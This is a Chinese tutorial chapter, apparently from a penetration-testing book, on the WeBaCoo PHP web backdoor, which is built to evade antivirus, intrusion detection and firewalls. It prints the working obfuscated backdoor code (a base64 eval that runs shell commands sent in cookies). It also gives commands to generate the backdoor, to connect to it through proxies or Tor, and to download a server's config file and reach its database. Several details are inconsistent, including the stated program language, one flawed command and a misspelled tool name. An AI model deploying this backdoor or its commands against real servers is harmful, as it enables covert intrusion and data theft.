1.5 PHP WeBaCoo后门
WeBaCoo(Web Backdoor Cookie)是一款隐蔽的脚本类Web后门工具,它借助HTTP协议在客户端和Web服务器之间实现了执行代码的网页终端。WeBaCoo的设计理念是躲避AV、NIDS、IPS、网络防火墙和应用防火墙的查杀,提供混淆和原始两种后门代码(原始代码较难检测)。WeBaCoo使用HTTP响应头传送命令执行的结果,Shell命令经Base64编码后隐藏在Cookie头中,是目前较为难得的一款PHP后门操控程序。其后门程序可以在Windows和Linux操作系统中使用,主程序采用Python语言编写,用户可以根据自身情况对其进行定制和修改。
1.5.1 简介
WeBaCoo的最新版本为WeBaCoo 0.2.3,该程序在BT5及Kali平台中默认配置,2012年以后作者已经停止更新。在Kali Linux平台上,默认位于/usr/bin/目录下,可执行程序为“webacoo”。
WeBaCoo的官方网站为https://bechtsoudis.com/archive/webacoo/index.html,下载地址为https://github.com/anestisb/WeBaCoo/zipball/master及http://bechtsoudis.com/data/tools/webacoo-latest.tar.gz。
Kali Linux直接获取命令如下。
git clone git://github.com/anestisb/WeBaCoo.git
1.5.2 使用方法
1.操作模式
WeBaCoo有生成(Generation)和终端(Terminal)两种模式。使用生成模式,指定“-g”选项,可以创建一个包含PHP有效载荷的后门代码;使用远程终端模式,指定“-t”选项,可以连接受感染的服务器(其中后门PHP代码已被注入)。
2.使用生成模式
使用默认配置生成模糊后门代码my_backdoor.php,命令如下。
webacoo.pl -g -o my_backdoor.php
使用exec有效载荷混淆后门代码生成my_backdoor2.php文件,命令如下。
webacoo.pl -g -o my_backdoor2.php -f 3
使用popen有效载荷生成原始后门代码raw_backdoor.php文件,命令如下。
webacoo.pl -g -o my_backdoor2.php -f 5-r
3.使用终端模式
使用默认设置“-u web_path”访问服务器,命令如下。
webacoo.pl -t -u http://10.0.1.11/backdoor.php
将“Test-Cookie”作为Cookie名称、“TtT”作为分隔符,访问服务器,命令如下。
webacoo.pl -t -u http://10.0.1.11/backdoor.php -c "Test-Cookie" -d "TtT"
将“Test-Cookie2”作为Cookie名称、“TtT”作为分隔符,使用代理服务器10.0.1.4:8080访问服务器,命令如下。
webacoo.pl -t -u http://10.0.1.11/backdoor.php -c "Test-Cookie2" -d "TtTt" -p 10.0.1.4:8080
将“My-Cookie”作为Cookie名称,使用tor代理网络访问后门,命令如下。
webacoo.pl -t -u http://example.com/backdoor.php -c "My-Cookie" -p tor
1.5.3 参数详解
WeBaCoo的常用参数如下。
· Cm:以Base64编码的Shell指令。
· Cn:加载编码后输出内容的Cookie名称。
· Cp:封装编码后输入内容的分割符。
· -f FUNCTION:使用PHP系统函数system、shell_exec、exec、passthru、popen。
· -g:制作后门代码。
· -o:指定生成的后门程序文件名。
· -u URL:后门URL地址。
· -e CMD:单独命令执行模式,需要加“-t”和“-u”参数。
· -m METHOD:使用HTTP方式,默认为“GET”。
· -c C_NAME:Cookie名字,默认为“M-cookie”。
· -d DELIM:分隔符(默认值:每个请求随机)。
· -a AGENT HTTP:头用户代理(默认情况下存在)。
· -p PROXY:使用代理(tor, ip:port or user:pass:ip:port)。
· -v LEVEL:详细级别。LEVEL值为0表示无附加信息,默认值为0; LEVEL值为1表示打印的HTTP头;LEVEL值为2表示打印HTTP头和数据。
· -l LOG:登录活动文件。
· -h:显示帮助文件并退出。
· update:检查升级文件,如果有则升级。
使用load命令进行扩展,说明如下。
· mysql-cli:MySQL命令行模式。
· psql-cli:Postgres命令行模式。
· upload:使用HTTP的POST方法上传文件。
· download:下载文件。
· stealth:通过.htaccess处理增加的隐形模块。
1.5.4 使用实例
(1)生成后门
使用“webacoo-g-o backdoor.php”命令生成backpdoor.php后门文件,如图1-44所示。
图1-44 生成后门文件
(2)参考后门代码文件内容
使用“cat backdoor.php”命令查看其内容,具体如下。
<? php $b=strrev("edoced_4"."6esab"); eval($b(str_replace(" ", "", "a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); ? >
(3)连接后门
使用“webacoo-t-u http://www.antian365.com/backdoor.php”命令连接服务器,如图1-45所示。连接成功后,可以执行Linux下的命令,例如pwd、id,如图1-46所示。
图1-45 连接后门所在服务器
图1-46 执行命令
(4)下载文件
在当前状态下执行load命令后,使用“download filename”命令下载文件,前提是服务器当前目录中存在该文件。如图1-47所示,执行“dowload config_inc.php”命令,直接将config_inc.php文件下载到本地,使用“cat config_inc.php”命令可以查看下载到本地的文件内容,如图1-48所示。
图1-47 下载文件
图1-48 读取下载的文件内容
(5)连接数据库
使用“mysql-cli localhost root password”命令连接数据库,可以对数据进行操作(在实际测试过程中未能成功)。
1.5.5 总结与思考
下面总结WeBaCoo的使用技巧。
·在Windows环境下需要对应函数的支持。WeBaCoo在Windows操作系统中需要PHP程序支持相应的函数,可以在php.ini文件中设置disable_functions,取消禁用函数exec、system、passthru、shell_exec,示例如下。
disable_functions =escapeshellarg, escapeshellcmd, proc_close, proc_open, dl, popen, show_source
·提供HTTPS代理支持。使用如下命令,配合Burp Site等工具实现。
webacoo -t -u https://example.com/https_test.php -p 127.0.0.1:8080 webacoo -t -u http://example.com/https_test.php -p 127.0.0.1:8080
·在非Ubantu环境下,需要liburi-perl、libio-socket-socks-perl组件的支持,否则会报错,如图1-49所示。
图1-49 需要perl组件支持